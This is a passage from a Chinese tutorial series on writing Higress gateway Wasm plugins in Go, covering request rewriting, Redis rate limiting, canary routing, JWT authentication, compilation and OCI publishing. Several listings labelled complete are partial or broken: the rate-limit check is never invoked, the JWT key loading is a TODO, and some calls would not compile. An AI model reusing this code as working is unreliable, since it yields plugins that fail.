	originalPath := ctx.Path()
	newPath := rewritePath(originalPath, config.PathRewrite)
	if newPath != originalPath {
		ctx.SetRequestHeader(":path", newPath)
		log.Debugf("Path rewritten: %s -> %s", originalPath, newPath)
	}
	
	// 2. Header 操作
	for key, value := range config.HeadersToAdd {
		ctx.SetRequestHeader(key, value)
	}
	
	for _, key := range config.HeadersToRemove {
		ctx.RemoveRequestHeader(key)
	}
	
	for oldKey, newKey := range config.HeadersToRename {
		if value, err := ctx.GetRequestHeader(oldKey); err == nil {
			ctx.SetRequestHeader(newKey, value)
			ctx.RemoveRequestHeader(oldKey)
		}
	}
	
	// 3. 添加调试信息
	ctx.SetRequestHeader("X-Original-Path", originalPath)
	ctx.SetRequestHeader("X-Transformed-By", "higress-request-transformer")
	
	return wrapper.ActionContinue
}

func onHttpRequestBody(ctx wrapper.HttpContext, config TransformConfig, body []byte, log wrapper.Log) wrapper.Action {
	// 只处理 JSON Body
	contentType, _ := ctx.GetRequestHeader("Content-Type")
	if !strings.Contains(contentType, "application/json") {
		return wrapper.ActionContinue
	}
	
	// 解析 JSON
	jsonStr := string(body)
	
	// 添加字段
	for key, value := range config.BodyFieldsToAdd {
		var err error
		jsonStr, err = sjson.Set(jsonStr, key, value)
		if err != nil {
			log.Errorf("Failed to add field %s: %v", key, err)
		}
	}
	
	// 删除字段
	for _, key := range config.BodyFieldsToRemove {
		var err error
		jsonStr, err = sjson.Delete(jsonStr, key)
		if err != nil {
			log.Errorf("Failed to remove field %s: %v", key, err)
		}
	}
	
	// 更新 Body
	ctx.SetRequestBody([]byte(jsonStr))
	
	// 更新 Content-Length
	ctx.SetRequestHeader("Content-Length", fmt.Sprintf("%d", len(jsonStr)))
	
	return wrapper.ActionContinue
}

func rewritePath(path string, rules []PathRewriteRule) string {
	for _, rule := range rules {
		if rule.Regex {
			// 正则替换（简化示例）
			if strings.HasPrefix(path, rule.Match) {
				return rule.Replacement + strings.TrimPrefix(path, rule.Match)
			}
		} else {
			// 前缀匹配
			if strings.HasPrefix(path, rule.Match) {
				return rule.Replacement + strings.TrimPrefix(path, rule.Match)
			}
		}
	}
	return path
}

func parseStringMap(result gjson.Result) map[string]string {
	m := make(map[string]string)
	result.ForEach(func(key, value gjson.Result) bool {
		m[key.String()] = value.String()
		return true
	})
	return m
}

func parseStringArray(result gjson.Result) []string {
	var arr []string
	for _, item := range result.Array() {
		arr = append(arr, item.String())
	}
	return arr
}

插件配置

apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: request-transformer
spec:
  url: oci://registry.example.com/plugins/request-transformer:v1.0.0
  phase: UNSPECIFIED_PHASE
  priority: 500
  defaultConfig:
    path_rewrite:
      - match: "/api/v1"
        replacement: "/v1"
      - match: "/api/v2"
        replacement: "/v2"
    
    headers_to_add:
      X-Gateway: "higress"
      X-Request-Start: "${timestamp}"
    
    headers_to_remove:
      - X-Internal-Token
      - X-Debug-Info
    
    headers_to_rename:
      X-User-ID: X-Consumer-ID
    
    body_fields_to_add:
      gateway_timestamp: "${timestamp}"
      gateway_version: "1.0"
    
    body_fields_to_remove:
      - password
      - secret_key

插件三：分布式限流插件

需求

基于 Redis 的分布式限流
支持多维度（IP/User/API）
滑动窗口算法
限流响应定制

完整代码

package main

import (
	"encoding/json"
	"fmt"
	"strconv"
	"time"

	"github.com/higress-group/wasm-go/pkg/wrapper"
	"github.com/tidwall/gjson"
	"github.com/tetratelabs/proxy-wasm-go-sdk/proxywasm"
)

func main() {
	wrapper.SetCtx(
		"redis-rate-limit",
		wrapper.ParseConfigBy(parseConfig),
		wrapper.ProcessRequestHeadersBy(onHttpRequestHeaders),
	)
}

type RateLimitConfig struct {
	RedisCluster string         `json:"redis_cluster"`
	Rules        []RateLimitRule `json:"rules"`
	DefaultLimit int            `json:"default_limit"`
	Window       int            `json:"window_seconds"`
}

type RateLimitRule struct {
	Name       string `json:"name"`
	LimitBy    string `json:"limit_by"`    // ip / header / query / path
	LimitKey   string `json:"limit_key"`   // Header 名或 Query 参数名
	Limit      int    `json:"limit"`       // 配额
	Window     int    `json:"window"`      // 时间窗口（秒）
	Priority   int    `json:"priority"`    // 优先级
}

func parseConfig(json gjson.Result, config *RateLimitConfig, log wrapper.Log) error {
	config.RedisCluster = json.Get("redis_cluster").String()
	config.DefaultLimit = int(json.Get("default_limit").Int())
	config.Window = int(json.Get("window_seconds").Int())
	
	for _, item := range json.Get("rules").Array() {
		config.Rules = append(config.Rules, RateLimitRule{
			Name:     item.Get("name").String(),
			LimitBy:  item.Get("limit_by").String(),
			LimitKey: item.Get("limit_key").String(),
			Limit:    int(item.Get("limit").Int()),
			Window:   int(item.Get("window").Int()),
			Priority: int(item.Get("priority").Int()),
		})
	}
	
	log.Infof("Redis Rate Limit Plugin initialized, redis=%s, rules=%d", config.RedisCluster, len(config.Rules))
	return nil
}

func onHttpRequestHeaders(ctx wrapper.HttpContext, config RateLimitConfig, log wrapper.Log) wrapper.Action {
	// 提取限流 Key
	limitKey := extractLimitKey(ctx, config)
	if limitKey == "" {
		log.Warnf("Failed to extract limit key, skip rate limiting")
		return wrapper.ActionContinue
	}
	
	// 构造 Redis Key
	redisKey := fmt.Sprintf("higress:ratelimit:%s", limitKey)
	
	// 暂停请求，等待 Redis 响应
	return wrapper.ActionPause
}

func checkRateLimit(ctx wrapper.HttpContext, config RateLimitConfig, redisKey string, rule RateLimitRule, log wrapper.Log) {
	// Redis Lua 脚本（滑动窗口限流）
	luaScript := `
local key = KEYS[1]
local limit = tonumber(ARGV[1])
local window = tonumber(ARGV[2])
local now = tonumber(ARGV[3])

-- 移除窗口外的记录
redis.call('ZREMRANGEBYSCORE', key, 0, now - window * 1000)

-- 当前请求数
local current = redis.call('ZCARD', key)

if current < limit then
    -- 未超限，添加当前请求
    redis.call('ZADD', key, now, now .. '-' .. math.random(1000000))
    redis.call('PEXPIRE', key, window * 1000)
    return {1, limit - current - 1}  -- 1=允许, 剩余配额
else
    return {0, 0}  -- 0=拒绝
end
`
	
	now := time.Now().UnixMilli()
	
	// 调用 Redis（通过 Envoy 的 Redis Cluster）
	// 注意：Wasm 中不能直接连 Redis，需要通过 proxywasm.DispatchHttpCall
	// 或者使用 Higress 内置的 Redis 限流插件
	
	// 这里简化为伪代码，实际需要：
	// 1. 配置 Redis Cluster（McpBridge）
	// 2. 使用 proxywasm.DispatchHttpCall 调用 Redis HTTP 代理
	// 3. 或使用 Higress 官方 Redis 限流插件
	
	log.Infof("Rate limit check: key=%s, rule=%s, limit=%d/%ds", redisKey, rule.Name, rule.Limit, rule.Window)
	
	// 模拟限流检查（实际从 Redis 获取结果）
	allowed := true
	remaining := rule.Limit - 1
	
	if allowed {
		// 添加限流 Header
		ctx.SetResponseHeader("X-RateLimit-Limit", strconv.Itoa(rule.Limit))
		ctx.SetResponseHeader("X-RateLimit-Remaining", strconv.Itoa(remaining))
		ctx.SetResponseHeader("X-RateLimit-Reset", strconv.FormatInt(now/1000+int64(rule.Window), 10))
		
		proxywasm.ResumeHttpRequest()
	} else {
		// 限流响应
		retryAfter := rule.Window
		body, _ := json.Marshal(map[string]interface{}{
			"error":       "rate_limit_exceeded",
			"message":     fmt.Sprintf("Rate limit exceeded for %s", rule.Name),
			"limit":       rule.Limit,
			"window":      rule.Window,
			"retry_after": retryAfter,
		})
		
		ctx.SendHttpResponse(429, map[string]string{
			"Content-Type":  "application/json",
			"Retry-After":   strconv.Itoa(retryAfter),
			"X-RateLimit-Limit": strconv.Itoa(rule.Limit),
			"X-RateLimit-Remaining": "0",
		}, body, -1)
	}
}

func extractLimitKey(ctx wrapper.HttpContext, config RateLimitConfig) string {
	for _, rule := range config.Rules {
		var key string
		
		switch rule.LimitBy {
		case "ip":
			key = ctx.ClientIP()
		case "header":
			key, _ = ctx.GetRequestHeader(rule.LimitKey)
		case "query":
			key, _ = ctx.QueryParam(rule.LimitKey)
		case "path":
			key = ctx.Path()
		}
		
		if key != "" {
			return fmt.Sprintf("%s:%s", rule.Name, key)
		}
	}
	
	// 默认按 IP 限流
	return fmt.Sprintf("default:%s", ctx.ClientIP())
}

插件配置

apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: redis-rate-limit
spec:
  url: oci://registry.example.com/plugins/redis-rate-limit:v1.0.0
  phase: UNSPECIFIED_PHASE
  priority: 900
  defaultConfig:
    redis_cluster: "outbound|6379||redis.redis.svc.cluster.local"
    default_limit: 100
    window_seconds: 60
    rules:
      - name: "api-per-user"
        limit_by: "header"
        limit_key: "X-User-ID"
        limit: 1000
        window: 60
        priority: 100
      - name: "api-per-ip"
        limit_by: "ip"
        limit: 100
        window: 60
        priority: 90
      - name: "login-per-ip"
        limit_by: "ip"
        limit: 10
        window: 300
        priority: 80

插件四：灰度发布插件

需求

基于 Header/Cookie/权重的灰度分流
灰度标记透传到上游
灰度数据统计
支持 A/B 测试

完整代码

package main

import (
	"crypto/md5"
	"encoding/binary"
	"encoding/json"
	"fmt"
	"strings"

	"github.com/higress-group/wasm-go/pkg/wrapper"
	"github.com/tidwall/gjson"
)

func main() {
	wrapper.SetCtx(
		"canary-release",
		wrapper.ParseConfigBy(parseConfig),
		wrapper.ProcessRequestHeadersBy(onHttpRequestHeaders),
		wrapper.ProcessLogBy(onLog),
	)
}

type CanaryConfig struct {
	// 灰度策略
	Strategy string `json:"strategy"`  // weight / header / cookie / user_id
	
	// 权重灰度
	Weight int `json:"weight"`  // 0-100
	
	// Header 灰度
	HeaderName  string `json:"header_name"`
	HeaderValue string `json:"header_value"`
	
	// Cookie 灰度
	CookieName  string `json:"cookie_name"`
	CookieValue string `json:"cookie_value"`
	
	// 用户 ID 灰度（按用户 ID 哈希）
	UserIDHeader string `json:"user_id_header"`
	UserIDMod    int    `json:"user_id_mod"`    // 取模基数
	UserIDRange  []int  `json:"user_id_range"`  // 命中范围 [start, end]
	
	// 灰度标记
	CanaryHeader string `json:"canary_header"`  // 灰度标记 Header 名
	CanaryValue  string `json:"canary_value"`   // 灰度标记值
	
	// 上游服务
	CanaryCluster string `json:"canary_cluster"`
	StableCluster string `json:"stable_cluster"`
}

func parseConfig(json gjson.Result, config *CanaryConfig, log wrapper.Log) error {
	config.Strategy = json.Get("strategy").String()
	config.Weight = int(json.Get("weight").Int())
	config.HeaderName = json.Get("header_name").String()
	config.HeaderValue = json.Get("header_value").String()
	config.CookieName = json.Get("cookie_name").String()
	config.CookieValue = json.Get("cookie_value").String()
	config.UserIDHeader = json.Get("user_id_header").String()
	config.UserIDMod = int(json.Get("user_id_mod").Int())
	config.CanaryHeader = json.Get("canary_header").String()
	config.CanaryValue = json.Get("canary_value").String()
	config.CanaryCluster = json.Get("canary_cluster").String()
	config.StableCluster = json.Get("stable_cluster").String()
	
	for _, item := range json.Get("user_id_range").Array() {
		config.UserIDRange = append(config.UserIDRange, int(item.Int()))
	}
	
	log.Infof("Canary Release Plugin initialized, strategy=%s", config.Strategy)
	return nil
}

func onHttpRequestHeaders(ctx wrapper.HttpContext, config CanaryConfig, log wrapper.Log) wrapper.Action {
	isCanary := false
	
	switch config.Strategy {
	case "weight":
		isCanary = checkWeight(ctx, config)
	case "header":
		isCanary = checkHeader(ctx, config)
	case "cookie":
		isCanary = checkCookie(ctx, config)
	case "user_id":
		isCanary = checkUserID(ctx, config)
	}
	
	// 设置灰度标记
	if isCanary {
		if config.CanaryHeader != "" {
			ctx.SetRequestHeader(config.CanaryHeader, config.CanaryValue)
		}
		ctx.SetRequestHeader("X-Canary", "true")
		log.Debugf("Request routed to canary")
	} else {
		ctx.SetRequestHeader("X-Canary", "false")
	}
	
	return wrapper.ActionContinue
}

func checkWeight(ctx wrapper.HttpContext, config CanaryConfig) bool {
	// 基于请求 ID 哈希实现稳定分流
	requestID, _ := ctx.GetRequestHeader("X-Request-ID")
	if requestID == "" {
		requestID = ctx.ClientIP()
	}
	
	hash := md5.Sum([]byte(requestID))
	num := binary.BigEndian.Uint32(hash[:4])
	percent := num % 100
	
	return int(percent) < config.Weight
}

func checkHeader(ctx wrapper.HttpContext, config CanaryConfig) bool {
	value, err := ctx.GetRequestHeader(config.HeaderName)
	if err != nil {
		return false
	}
	
	if config.HeaderValue == "*" {
		return value != ""
	}
	
	return value == config.HeaderValue
}

func checkCookie(ctx wrapper.HttpContext, config CanaryConfig) bool {
	cookieHeader, _ := ctx.GetRequestHeader("Cookie")
	if cookieHeader == "" {
		return false
	}
	
	// 解析 Cookie
	for _, cookie := range strings.Split(cookieHeader, ";") {
		parts := strings.SplitN(strings.TrimSpace(cookie), "=", 2)
		if len(parts) == 2 && parts[0] == config.CookieName {
			if config.CookieValue == "*" {
				return parts[1] != ""
			}
			return parts[1] == config.CookieValue
		}
	}
	
	return false
}

func checkUserID(ctx wrapper.HttpContext, config CanaryConfig) bool {
	userID, _ := ctx.GetRequestHeader(config.UserIDHeader)
	if userID == "" {
		return false
	}
	
	// 哈希取模
	hash := md5.Sum([]byte(userID))
	num := binary.BigEndian.Uint32(hash[:4])
	mod := int(num) % config.UserIDMod
	
	// 检查是否在灰度范围
	if len(config.UserIDRange) == 2 {
		return mod >= config.UserIDRange[0] && mod <= config.UserIDRange[1]
	}
	
	return false
}

func onLog(ctx wrapper.HttpContext, config CanaryConfig, log wrapper.Log) {
	// 记录灰度统计
	canary, _ := ctx.GetRequestHeader("X-Canary")
	path := ctx.Path()
	
	stats := map[string]interface{}{
		"path":     path,
		"canary":   canary,
		"strategy": config.Strategy,
	}
	
	statsJSON, _ := json.Marshal(stats)
	log.Infof("Canary stats: %s", string(statsJSON))
}

插件配置

apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: canary-release
spec:
  url: oci://registry.example.com/plugins/canary-release:v1.0.0
  phase: UNSPECIFIED_PHASE
  priority: 800
  defaultConfig:
    strategy: "weight"
    weight: 10                    # 10% 流量到灰度
    canary_header: "X-Canary"
    canary_value: "true"
    canary_cluster: "outbound|8080||api-canary.default.svc.cluster.local"
    stable_cluster: "outbound|8080||api-stable.default.svc.cluster.local"
  
  matchRules:
    # 内部测试用户：100% 灰度
    - ingress: [default/internal-test]
      config:
        strategy: "header"
        header_name: "X-Internal-Test"
        header_value: "true"
    
    # VIP 用户：按用户 ID 灰度
    - ingress: [default/vip-api]
      config:
        strategy: "user_id"
        user_id_header: "X-User-ID"
        user_id_mod: 100
        user_id_range: [0, 19]    # 前 20% 用户

复习卡片

[!TIP] 快速复习清单

JWT 认证插件：JWKS 动态获取公钥、白名单、Claims 透传、异步 HTTP 调用

请求改写插件：路径前缀替换、Header 增删改、Query 参数处理、JSON Body 重写

分布式限流插件：Redis 滑动窗口、多维度（IP/User/API）、限流响应定制

灰度发布插件：权重/Header/Cookie/UserID 分流、稳定哈希、灰度标记透传

通用模式：ParseConfigBy（配置解析）→ ProcessRequestHeadersBy（请求处理）→ ProcessLogBy（日志）

异步调用：DispatchHttpCall → 回调中 ResumeHttpRequest() 或 SendHttpResponse()

配置优先级：matchRules（路由/域名/服务级）> defaultConfig（全局）

[!TIP] 下一篇：AI 网关将讲解 Higress 在 LLM 场景的应用：多模型路由、Token 限流、Prompt 改写、内容审核。

返回 Higress 学习路线总览 | 合集页

Go 开发 Higress Wasm 插件

Thu, 17 Sep 2026 06:30:00 GMT

[!NOTE] 本文用 Go 语言实战开发 Higress Wasm 插件，从项目初始化到发布上线，覆盖完整开发流程。

开发环境准备

安装依赖

# 1. Go 1.24+（原生支持 Wasm 编译）
# 下载：https://go.dev/dl/
go version  # 确认 go1.24.x

# 2. oras（OCI 镜像推送）
curl -LO https://github.com/oras-project/oras/releases/download/v1.0.0/oras_1.0.0_linux_amd64.tar.gz
tar xzf oras_1.0.0_linux_amd64.tar.gz
sudo mv oras /usr/local/bin/

# 3. Docker（可选，用于构建 OCI 镜像）
docker --version

# 4. kubectl + Helm（部署测试）
kubectl version --client
helm version

获取 wasm-go SDK

# 方式 1：直接引用（推荐）
go mod init my-plugin
go get github.com/higress-group/wasm-go@latest

# 方式 2：克隆源码（学习用）
git clone https://github.com/higress-group/wasm-go.git
cd wasm-go/examples

第一个插件：Hello World

项目结构

hello-plugin/
├── go.mod
├── go.sum
├── main.go           # 插件入口
├── plugin.yaml       # 插件元数据（可选）
└── README.md

main.go

package main

import (
	"github.com/higress-group/wasm-go/pkg/wrapper"
	"github.com/tidwall/gjson"
)

func main() {
	wrapper.SetCtx(
		// 插件名称
		"hello-plugin",
		// 解析配置
		wrapper.ParseConfigBy(parseConfig),
		// 处理请求头
		wrapper.ProcessRequestHeadersBy(onHttpRequestHeaders),
	)
}

// 插件配置结构
type HelloConfig struct {
	Message string `json:"message"`
}

// 解析配置（JSON 格式）
func parseConfig(json gjson.Result, config *HelloConfig, log wrapper.Log) error {
	config.Message = json.Get("message").String()
	if config.Message == "" {
		config.Message = "Hello from Higress Wasm Plugin!"
	}
	log.Infof("Config loaded: message=%s", config.Message)
	return nil
}

// 处理请求头
func onHttpRequestHeaders(ctx wrapper.HttpContext, config HelloConfig, log wrapper.Log) wrapper.Action {
	// 添加自定义 Header
	ctx.SetRequestHeader("X-Hello-Message", config.Message)
	
	// 记录日志
	log.Infof("Request path: %s", ctx.Path())
	
	// 继续处理
	return wrapper.ActionContinue
}

go.mod

module hello-plugin

go 1.24

require (
	github.com/higress-group/wasm-go v1.0.0
	github.com/tidwall/gjson v1.17.0
)

编译 Wasm

# Go 1.24+ 原生编译
GOOS=wasip1 GOARCH=wasm go build -o plugin.wasm

# 验证
file plugin.wasm
# plugin.wasm: WebAssembly (wasm) binary module version 0x1 (MVP)

ls -lh plugin.wasm
# -rw-r--r-- 1 user user 2.5M plugin.wasm

SDK 核心 API

wrapper 包

// 设置插件上下文
wrapper.SetCtx(
	name string,                    // 插件名称
	opts ...WrapperOption,          // 配置选项
)

// 配置选项
wrapper.ParseConfigBy(parseFunc)   // 配置解析函数
wrapper.ProcessRequestHeadersBy(fn)  // 请求头处理
wrapper.ProcessRequestBodyBy(fn)     // 请求体处理
wrapper.ProcessResponseHeadersBy(fn) // 响应头处理
wrapper.ProcessResponseBodyBy(fn)    // 响应体处理
wrapper.ProcessLogBy(fn)             // 日志处理

HttpContext 接口

type HttpContext interface {
	// 请求信息
	Path() string                    // 请求路径
	Method() string                  // HTTP 方法
	Host() string                    // Host Header
	Scheme() string                  // http / https
	
	// Header 操作
	GetRequestHeader(key string) (string, error)
	SetRequestHeader(key, value string) error
	RemoveRequestHeader(key string) error
	
	GetResponseHeader(key string) (string, error)
	SetResponseHeader(key, value string) error
	
	// Body 操作
	GetRequestBody() ([]byte, error)
	SetRequestBody(body []byte) error
	
	// 查询参数
	QueryParam(key string) (string, bool)
	
	// 客户端 IP
	ClientIP() string
	
	// 路由信息
	RouteName() string
	
	// 共享数据（跨请求）
	GetSharedData(key string) ([]byte, error)
	SetSharedData(key string, value []byte, cas uint64) error
	
	// 直接响应（中断请求）
	SendHttpResponse(statusCode int, headers map[string]string, body []byte, grpcStatus int) error
}

proxywasm 底层 API

import "github.com/tetratelabs/proxy-wasm-go-sdk/proxywasm"

// 日志
proxywasm.LogDebug("debug message")
proxywasm.LogInfo("info message")
proxywasm.LogWarn("warning message")
proxywasm.LogError("error message")

// Header 操作
proxywasm.GetHttpRequestHeader("key")
proxywasm.AddHttpRequestHeader("key", "value")
proxywasm.ReplaceHttpRequestHeader("key", "value")
proxywasm.RemoveHttpRequestHeader("key")

// HTTP 调用（异步）
proxywasm.DispatchHttpCall(
	cluster string,           // 上游集群名
	headers [][2]string,      // 请求头
	body []byte,              // 请求体
	trailers [][2]string,     // Trailer
	timeout uint32,           // 超时（毫秒）
	callback func(numHeaders, bodySize, numTrailers int),  // 回调
)

// 发送响应
proxywasm.SendHttpResponse(
	statusCode uint32,
	headers [][2]string,
	body []byte,
	grpcStatus int32,
)

实战：JWT 认证插件

完整代码

package main

import (
	"crypto/rsa"
	"encoding/base64"
	"encoding/json"
	"fmt"
	"strings"
	"time"

	"github.com/golang-jwt/jwt/v5"
	"github.com/higress-group/wasm-go/pkg/wrapper"
	"github.com/tidwall/gjson"
)

func main() {
	wrapper.SetCtx(
		"jwt-auth",
		wrapper.ParseConfigBy(parseConfig),
		wrapper.ProcessRequestHeadersBy(onHttpRequestHeaders),
	)
}

type JWTConfig struct {
	Issuer     string            `json:"issuer"`
	JWKSUri    string            `json:"jwks_uri"`
	PublicKey  *rsa.PublicKey    `json:"-"`
	WhiteList  []string          `json:"white_list"`
	ClaimsToForward []string     `json:"claims_to_forward"`
}

func parseConfig(json gjson.Result, config *JWTConfig, log wrapper.Log) error {
	config.Issuer = json.Get("issuer").String()
	config.JWKSUri = json.Get("jwks_uri").String()
	
	// 解析白名单
	for _, item := range json.Get("white_list").Array() {
		config.WhiteList = append(config.WhiteList, item.String())
	}
	
	// 解析需要透传的 Claims
	for _, item := range json.Get("claims_to_forward").Array() {
		config.ClaimsToForward = append(config.ClaimsToForward, item.String())
	}
	
	// 从 JWKS URI 获取公钥（简化示例，实际需缓存和刷新）
	log.Infof("Loading JWKS from: %s", config.JWKSUri)
	// TODO: 实现 JWKS 获取和缓存
	
	return nil
}

func onHttpRequestHeaders(ctx wrapper.HttpContext, config JWTConfig, log wrapper.Log) wrapper.Action {
	path := ctx.Path()
	
	// 白名单路径跳过认证
	for _, whitePath := range config.WhiteList {
		if strings.HasPrefix(path, whitePath) {
			log.Debugf("Path %s in whitelist, skip auth", path)
			return wrapper.ActionContinue
		}
	}
	
	// 提取 Authorization Header
	authHeader, err := ctx.GetRequestHeader("Authorization")
	if err != nil || authHeader == "" {
		log.Warnf("Missing Authorization header")
		ctx.SendHttpResponse(401, map[string]string{
			"Content-Type": "application/json",
		}, []byte(`{"error":"unauthorized","message":"Missing Authorization header"}`), -1)
		return wrapper.ActionStop
	}
	
	// 提取 Bearer Token
	tokenString := strings.TrimPrefix(authHeader, "Bearer ")
	if tokenString == authHeader {
		log.Warnf("Invalid Authorization format")
		ctx.SendHttpResponse(401, map[string]string{
			"Content-Type": "application/json",
		}, []byte(`{"error":"unauthorized","message":"Invalid Authorization format"}`), -1)
		return wrapper.ActionStop
	}
	
	// 解析并验证 Token
	token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
		// 验证签名算法
		if _, ok := token.Method.(*jwt.SigningMethodRSA); !ok {
			return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
		}
		return config.PublicKey, nil
	})
	
	if err != nil {
		log.Warnf("Token validation failed: %v", err)
		ctx.SendHttpResponse(401, map[string]string{
			"Content-Type": "application/json",
		}, []byte(fmt.Sprintf(`{"error":"unauthorized","message":"%s"}`, err.Error())), -1)
		return wrapper.ActionStop
	}
	
	if !token.Valid {
		log.Warnf("Token is not valid")
		ctx.SendHttpResponse(401, map[string]string{
			"Content-Type": "application/json",
		}, []byte(`{"error":"unauthorized","message":"Token is not valid"}`), -1)
		return wrapper.ActionStop
	}
	
	// 验证 Claims
	if claims, ok := token.Claims.(jwt.MapClaims); ok {
		// 验证 issuer
		if config.Issuer != "" {
			if iss, ok := claims["iss"].(string); !ok || iss != config.Issuer {
				log.Warnf("Invalid issuer: %v", claims["iss"])
				ctx.SendHttpResponse(401, map[string]string{
					"Content-Type": "application/json",
				}, []byte(`{"error":"unauthorized","message":"Invalid issuer"}`), -1)
				return wrapper.ActionStop
			}
		}
		
		// 透传 Claims 到上游
		for _, claimKey := range config.ClaimsToForward {
			if value, ok := claims[claimKey]; ok {
				headerKey := fmt.Sprintf("X-JWT-%s", strings.ToUpper(claimKey))
				valueStr := fmt.Sprintf("%v", value)
				ctx.SetRequestHeader(headerKey, valueStr)
			}
		}
		
		log.Infof("JWT auth success, sub=%v", claims["sub"])
	}
	
	return wrapper.ActionContinue
}

插件配置

apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: jwt-auth
  namespace: higress-system
spec:
  url: oci://registry.example.com/plugins/jwt-auth:v1
  phase: AUTHN
  priority: 1000
  defaultConfig:
    issuer: "https://auth.example.com"
    jwks_uri: "https://auth.example.com/.well-known/jwks.json"
    white_list:
      - "/api/health"
      - "/api/public"
      - "/api/login"
    claims_to_forward:
      - "sub"
      - "email"
      - "roles"

实战：HTTP 调用外部服务

异步 HTTP 调用

package main

import (
	"encoding/json"
	"fmt"

	"github.com/higress-group/wasm-go/pkg/wrapper"
	"github.com/tidwall/gjson"
	"github.com/tetratelabs/proxy-wasm-go-sdk/proxywasm"
)

type ExternalAPIConfig struct {
	ClusterName string `json:"cluster_name"`
	Timeout     uint32 `json:"timeout_ms"`
}

func onHttpRequestHeaders(ctx wrapper.HttpContext, config ExternalAPIConfig, log wrapper.Log) wrapper.Action {
	// 暂停请求，等待异步调用完成
	return wrapper.ActionPause
}

func callExternalService(ctx wrapper.HttpContext, config ExternalAPIConfig, log wrapper.Log) {
	// 构造请求
	headers := [][2]string{
		{":method", "GET"},
		{":path", "/api/user-info"},
		{":authority", "user-service.internal"},
		{"X-Request-ID", ctx.GetRequestHeader("X-Request-ID")},
	}
	
	// 发起异步 HTTP 调用
	_, err := proxywasm.DispatchHttpCall(
		config.ClusterName,      // 上游集群名
		headers,
		nil,                     // 请求体
		nil,                     // Trailer
		config.Timeout,          // 超时（毫秒）
		func(numHeaders, bodySize, numTrailers int) {
			// 回调函数（异步执行）
			body, err := proxywasm.GetHttpCallResponseBody(0, bodySize)
			if err != nil {
				log.Errorf("Failed to get response body: %v", err)
				ctx.SendHttpResponse(500, nil, []byte("Internal Error"), -1)
				return
			}
			
			// 解析响应
			var result map[string]interface{}
			json.Unmarshal(body, &result)
			
			// 提取用户信息，添加到请求头
			if userID, ok := result["user_id"].(string); ok {
				ctx.SetRequestHeader("X-User-ID", userID)
			}
			
			// 继续处理原始请求
			proxywasm.ResumeHttpRequest()
		},
	)
	
	if err != nil {
		log.Errorf("Failed to dispatch HTTP call: %v", err)
		ctx.SendHttpResponse(500, nil, []byte("Internal Error"), -1)
	}
}

编译与调试

本地编译

# 开发模式（快速编译）
GOOS=wasip1 GOARCH=wasm go build -o plugin.wasm

# 生产模式（优化大小）
GOOS=wasip1 GOARCH=wasm go build -ldflags="-s -w" -trimpath -o plugin.wasm

# 查看 Wasm 大小
ls -lh plugin.wasm
# 优化前：~3MB
# 优化后：~1.5MB

本地测试（Docker）

# 1. 启动 Higress（Docker Compose）
curl -fsSL https://higress.io/standalone/get-higress.sh | bash -s -- -a

# 2. 加载本地 Wasm 插件
docker cp plugin.wasm higress:/data/plugins/hello-plugin.wasm

# 3. 配置 WasmPlugin（挂载本地文件）
kubectl apply -f - <<EOF
apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: hello-plugin
  namespace: higress-system
spec:
  url: file:///data/plugins/hello-plugin.wasm
  phase: UNSPECIFIED_PHASE
  priority: 100
  defaultConfig:
    message: "Hello from local test!"
EOF

# 4. 测试
curl -v http://localhost:8080/api/test
# 查看响应头 X-Hello-Message

日志调试

// 使用 wrapper.Log
log.Debugf("Debug: %v", data)      // 开发环境
log.Infof("Info: %s", msg)          // 生产环境
log.Warnf("Warning: %v", err)       // 警告
log.Errorf("Error: %v", err)        // 错误

// 查看日志
kubectl logs -n higress-system deploy/higress-gateway -f | grep hello-plugin

远程调试（Delve）

# 1. 编译时保留调试信息
GOOS=wasip1 GOARCH=wasm go build -gcflags="all=-N -l" -o plugin.wasm

# 2. 启动 Higress（开启调试端口）
# 配置 Envoy 的 admin 端口：15000

# 3. 使用 delve 连接（需要特殊配置，Wasm 调试支持有限）
# 目前 Wasm 调试工具链还不成熟，建议用日志调试

发布插件到 OCI 仓库

推送流程

# 1. 登录 Registry
oras login registry.example.com -u admin -p password

# 2. 推送 Wasm 文件
oras push registry.example.com/plugins/hello-plugin:v1.0.0 \
  --artifact-type application/vnd.module.wasm.content.layer.v1+wasm \
  plugin.wasm

# 3. 添加元数据（可选）
oras push registry.example.com/plugins/hello-plugin:v1.0.0 \
  --artifact-type application/vnd.module.wasm.content.layer.v1+wasm \
  plugin.wasm \
  README.md \
  plugin.yaml

# 4. 验证
oras manifest fetch registry.example.com/plugins/hello-plugin:v1.0.0

版本管理

# 语义化版本
v1.0.0  → 主版本.次版本.修订版本
v1.0.1  → Bug 修复
v1.1.0  → 新功能（向后兼容）
v2.0.0  → 破坏性变更

# 标签管理
oras tag registry.example.com/plugins/hello-plugin:v1.0.0 latest
oras tag registry.example.com/plugins/hello-plugin:v1.0.0 stable

# 查看标签
oras repo tags registry.example.com/plugins/hello-plugin

CI/CD 自动发布

# .github/workflows/release.yml
name: Release Wasm Plugin

on:
  push:
    tags: ['v*']

jobs:
  build-and-push:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      - uses: actions/setup-go@v5
        with:
          go-version: '1.24'
      
      - name: Build Wasm
        run: |
          GOOS=wasip1 GOARCH=wasm go build -ldflags="-s -w" -trimpath -o plugin.wasm
      
      - name: Install oras
        run: |
          curl -LO https://github.com/oras-project/oras/releases/download/v1.0.0/oras_1.0.0_linux_amd64.tar.gz
          tar xzf oras_1.0.0_linux_amd64.tar.gz
          sudo mv oras /usr/local/bin/
      
      - name: Login to Registry
        run: oras login ${{ secrets.REGISTRY }} -u ${{ secrets.REGISTRY_USER }} -p ${{ secrets.REGISTRY_PASSWORD }}
      
      - name: Push Wasm
        run: |
          VERSION=${GITHUB_REF#refs/tags/}
          oras push ${{ secrets.REGISTRY }}/plugins/hello-plugin:${VERSION} \
            --artifact-type application/vnd.module.wasm.content.layer.v1+wasm \
            plugin.wasm

常见问题

Q1: 编译报错 "unsupported GOOS/GOARCH"

# 确认 Go 版本
go version  # 需要 go1.24+

# 正确编译命令
